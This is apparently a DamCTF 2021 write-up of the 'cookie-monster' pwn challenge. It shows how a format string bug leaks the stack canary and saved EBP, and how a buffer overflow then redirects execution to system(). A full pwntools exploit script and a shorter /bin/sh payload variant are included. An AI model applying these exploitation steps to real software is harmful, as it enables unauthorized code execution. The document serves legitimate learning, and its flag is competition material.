keyboard_arrow_up

title: Writeup DamCTF 2021 - cookie-monster
date: Nov 10, 2021
tags: DamCTF writeups pwn


Writeup DamCTF 2021 - cookie-monster

Description:

Do you like cookies? I like cookies.
nc chals.damctf.xyz 31312

Author: BobbySinclusto
153 solves / 406 points

Files:

cookie-monster


Exploration

First, let's execute the binary:
cookie

There is 2 inputs: the name (hellllo) and the purchase (Stack). The name is printed back to the user, so there is maybe a format string vulnerability here:

$ nc chals.damctf.xyz 31312
Enter your name: %x.%x.%x.%x.%x.%x.%x.%x 
Hello 20.f7f8e580.8048592.f7f8e000.f7f8e000.ffffd2f8.252e7825.78252e78
Welcome to the bakery!
...

We have a format string exploit just here, it will be usefull later.

Now let's see the behavior of the program with the downloaded binary:

$ ./cookie-monster
Enter your name: testset
Hello testset
Welcome to the bakery!

Current menu:
cat: cookies.txt: No such file or directory

What would you like to purchase?
AH
Have a nice day!

Ha! It look likes it executes a system command to list the different items to purchase. Let's create this file:

$ echo -e "a\nb\nc" > cookies.txt

$ ./cookie-monster 
Enter your name: work pls 
Hello work pls
Welcome to the bakery!

Current menu:
a
b
c

What would you like to purchase?
IT WORKS
Have a nice day!

It works!

Let's check the implemented securities in place with gdb-gef:

$ gdb ./cookie-monster
gef➤  checksec 
[+] checksec for '/tmp/cookie-monster'
Canary                        : ✓ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Great, there is no PIE, so the code addresses will not be randomized at each launch.

There are some of the other tests I did:

# This is a 32 bit binary so arguments will be pushed on the stack.
$ file ./cookie-monster
./cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped

# You can't buffer overflow anything with the first input (it only gets 32 characters):
./cookie-monster 
Enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWelcome to the bakery!

Current menu:
a
b
c

What would you like to purchase?
Have a nice day!

# But the second input is vulnerable to buffer overflow!
./cookie-monster 
Enter your name: a
Hello a
Welcome to the bakery!

Current menu:
a
b
c

What would you like to purchase?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Have a nice day!
*** stack smashing detected ***: terminated
Aborted (core dumped)

Let's make a bit of reverse engineering before actually starting.


Quick static disassembly

As always, I will be using Cutter for the disassembly.

Let's take a look at the main function:
main

Nothing interesting beside the bakery function.
bakery

This is the main flow of the program. We can see the fgets, printf and system functions being called here. We can see that the first fgets get 32 characters, and the second one gets 64 characters.

This is how the first fgets is called:
bakery_dissect1

The second fgets also stores the user input at ebp - 0x2c. It will be usefull for our buffer overflow.

The "cat cookies.txt" string is located at 0x080487ba:
bakery_dissect2

Let's do some exploits!


Exploitation

Let's first try to display the "cat cookies.txt" string using the format string vuln. We already know the address of the string (0x080487ba) and we need the offset of our input in memory from esp:

$ python2 -c 'print "AAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x"' | ./cookie-monster 
Enter your name: Hello AAAA      20-f7f8e580- 8048592-f7f8e000-f7f8e000-ffffd328-41414141Welcome to the bakery!
...

$ python2 -c 'print "AAAA%7$x"' | ./cookie-monster 
Enter your name: Hello AAAA41414141
Welcome to the bakery!
...

We found our string "AAAA" (41414141) at offset 7. We can now use x/s to point to wherever we want in memory!

$ python2 -c 'print "\xba\x87\x04\x08%7$s"' | ./cookie-monster 
Enter your name: Hello cat cookies.txt
Welcome to the bakery!
...

Cool, there is more things to do but it's a good start.

Here's what we will do from now in order to get a remote code execution:

  1. Leak the content of canary to bypass it.
  2. Overflow eip with the address of system call in the bakery function
  3. push the command we want to execute on the stack and leak the saved ebp value to retrieve it's address on the stack.



Leak Canary and saved EBP values

To leak those 2 values, we have to know their offset from esp like we did to find were the buffer starts just before:
leak_canary_sebp

We jump just before the printf of our buffer is executed and dump the stack. At offset 7, we can see our buffer. We can then find ebp by taking the 4 octets block just before saved eip, and find the Canary by comparing what are the data that have changed between 2 program execution.

(I count using packets of 4 octets each)

leak_canary_sebp


Overflow EIP with system call address

This part is pretty easy, we just have to find the offset from ebp - 0xc (the buffer base address) to the saved EIP value:

$ gdb ./cookie-monster
gef➤  disas bakery
...
   0x080485c1 <+59>:    push   0x20
   0x080485c3 <+61>:    lea    eax,[ebp-0x2c]
   0x080485c6 <+64>:    push   eax
   0x080485c7 <+65>:    call   0x8048410 <fgets@plt> # first fgets
...
gef➤  b *0x080485c7
gef➤  run
...
fgets@plt (
   [sp + 0x0] = 0xffffd2cc → 0xf7e204a5 → <setbuf+21> add esp, 0x1c,
   [sp + 0x4] = 0x00000020
)
...
gef➤  i frame
Stack level 0, frame at 0xffffd300:
 eip = 0x80485c7 in bakery; saved eip = 0x80486b4
 called by frame at 0xffffd320
 Arglist at 0xffffd2f8, args: 
 Locals at 0xffffd2f8, Previous frame's sp is 0xffffd300
 Saved registers:
  ebx at 0xffffd2f4, ebp at 0xffffd2f8, eip at 0xffffd2fc

gef➤  p/u 0xffffd2fc - 0xffffd2cc
$1 = 48

There is a offset of 48 octets before we start to overwrite EIP.


Final script

Ok, let's see what we have for now:

The exploit input will be something like that:

first input: %15$x.%18$x
second input: <padding><Canary><padding><system call address><saved ebp><command>

Note that we have only 7 characters left for the command at the end.

Here is the code to pwn this binary:

#!/bin/python3
from pwn import *

def reverseAddress(address, increase=False, add=0):
    if increase:
        address = hex(int(address, base=16) + add)[2:]
    address = [address[i:i+2] for i in range(0, 8, 2)][::-1] # little indian mode
    address = " ".join(address)
    address = bytes.fromhex(address)
    return address

context.update(arch='i386', os='linux')

if args.REMOTE:
    log.info("Connecting to distant server")
    p = remote("chals.damctf.xyz", 31312)
else:
    log.info("Executing local binary")
    p = process("./cookie-monster")

print(p.recv(1000).decode()) # Enter your name

# send format string to retrieve canary value
payload = b"%15$x.%18$x"
p.sendline(payload) # canary + saved esp

line = p.recvline()[6:23].decode() # receive canary + saved esp value
print(line)
canary = reverseAddress(line[0:8]) # canary
s_ebp = reverseAddress(line[9:17], True, -4) # saved esp
print(p.recvline().decode()) # receive menu

# payload to bypass canary
payload = b"A" * 32
payload+= canary
payload+= b"A" * 12
payload+= reverseAddress("0804860c")
payload+= s_ebp
payload+= b"cat fl*"

p.sendline(payload)

p.interactive()

flag

Flag: dam{s74CK_c00k13S_4r3_d3L1C10Us}

hackerman

TLDR: This challenge was really great, and pretty hard for me, because this was the first time I used the format string vulnerability + buffer overflow in order to bypass canary and ASLR on a remote machine!


The less dumb way of doing it:

Just when I was writing the writeup, I took a second look at the binary and found something really interesting:
bin_sh

Yes. Instead of pushing our command on the stack and calculating it's address by leaking the ebp register and by applying an offset, We could have just pushed the address of this "/bin/sh" string. No more headhashes.

Here is the code snipped for the new payload, much easer:

payload = b"A" * 32
payload+= canary
payload+= b"A" * 12
payload+= reverseAddress("0804860c")
payload+= reverseAddress("08048770")

flag

Thank you for reading!